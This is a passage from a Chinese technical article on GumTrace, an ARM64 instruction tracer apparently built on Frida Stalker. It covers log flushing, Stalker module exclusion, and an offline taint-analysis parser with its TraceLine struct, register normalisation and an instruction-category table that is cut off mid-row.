start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="913" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">* </span><span style="color: rgb(128, 128, 128);"><span leaf="">thread_function</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">* arg)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">while</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">) {</span><br/><span leaf="">        instance-&gt;trace_file.</span><span style="color: rgb(0, 122, 204);"><span leaf="">flush</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">usleep</span></span><span leaf="">(</span><span style="color: rgb(0, 128, 0);"><span leaf="">1000</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">1000</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">20</span></span><span leaf="">);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 20秒</span></span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="922" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在DEBUG模式下，flush间隔缩短到1毫秒，并且每20条指令触发一次写入，确保日志实时可见（代价是性能显著下降）。</span></p><h3 data-line="924" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">13.3 Stalker排除</span></h3><p data-line="926" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如前所述，将系统模块排除出Stalker范围是最重要的性能优化。未被排除的模块中的每条指令都需要经过JIT重编译和callout调用，而排除的模块以原生速度运行。对于典型场景（追踪一个1MB的目标SO），系统库占进程代码的99%以上，排除它们能带来数量级的性能提升。</span></p><h2 data-line="928" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14 离线污点分析</span></h2><p data-line="930" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace附带了一个独立的离线污点分析工具，可对trace日志进行数据流追踪。这是整个工具链中分析能力最强的组件。</span></p><h3 data-line="932" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.1 设计理念</span></h3><p data-line="934" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">污点分析不在追踪时实时进行，而是作为离线后处理。这样做有两个好处：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">追踪阶段不需要承担分析开销，保持最高的记录速度。</span></p></li><li style=""><p><span leaf="">分析时可以反复运行不同的查询，不需要重新追踪。</span></p></li></ol><h3 data-line="938" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.2 日志解析器（TraceParser）</span></h3><p data-line="940" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TraceParser</span></code><span leaf="">将文本日志解析为紧凑的二进制表示，每条指令压缩为约64字节的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TraceLine</span></code><span leaf="">结构：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="942" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">TraceLine</span></span><span leaf=""> {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> line_number = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    InsnCategory category = InsnCategory::OTHER;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> num_dst = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> num_src = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    RegId dst_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">];</span><br/><span leaf="">    RegId src_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">];</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> mem_read_addr = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> mem_write_addr = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> mem_write_addr2 = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;   </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// STP 第二个写地址</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> mem_read_addr2 = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// LDP 第二个读地址</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> rel_addr = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> has_mem_read = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> has_mem_write = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> sets_flags = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;        </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// adds/subs 等隐式写 NZCV</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> file_offset = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;           </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 文件偏移，用于回读原始行</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> line_len = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">};</span></code></pre><p data-line="967" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">零分配设计</span></strong><span leaf="">：解析器使用数值化的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">RegId</span></code><span leaf="">枚举代替字符串存储寄存器名，使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">InsnCategory</span></code><span leaf="">枚举预分类指令类型。寄存器名解析完全手写，不依赖任何字符串库：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="969" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span leaf="">RegId </span><span style="color: rgb(128, 128, 128);"><span leaf="">TraceParser::parse_reg_name</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* s, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> len)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;x&#39;</span></span><span leaf="">: </span><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;X&#39;</span></span><span leaf="">:</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (len == </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf=""> &amp;&amp; s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] &gt;= </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0&#39;</span></span><span leaf=""> &amp;&amp; s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] &lt;= </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;9&#39;</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (RegId)(REG_X0 + (s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] - </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0&#39;</span></span><span leaf="">));</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;w&#39;</span></span><span leaf="">: </span><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;W&#39;</span></span><span leaf="">:</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// w→x 直接归一化</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (RegId)(REG_X0 + n);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="983" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">寄存器归一化确保</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">w0</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x0</span></code><span leaf="">被视为同一实体，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp</span></code><span leaf="">映射为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x29</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">lr</span></code><span leaf="">映射为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x30</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">d0</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">s0</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">h0</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">b0</span></code><span leaf="">都归一化为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">q0</span></code><span leaf="">。</span></p><h3 data-line="985" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.3 指令分类</span></h3><p data-line="987" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">解析器将ARM64助记符分为12个类别，使得污点引擎可以按类别处理而非逐指令匹配：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">类别</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">助记符示例</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">污点行为</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">DATA_MOVE</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">mov, mvn, neg</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">src → dst</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">IMM_LOAD</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">movz, movn, adr, adrp</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">清除dst污点</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PARTIAL_MODIFY</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">movk</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">保持dst已有污点</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ARITHMETIC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">add, sub, mul, madd</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">src任一污染 → dst污染</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LOGIC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">and, orr, eor, bic</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">SHIFT_EXT</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">lsl, lsr, sxtw, uxtb</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">BITFIELD</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ubfm, sbfm, bfi, extr</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上</span></p></td></tr><tr 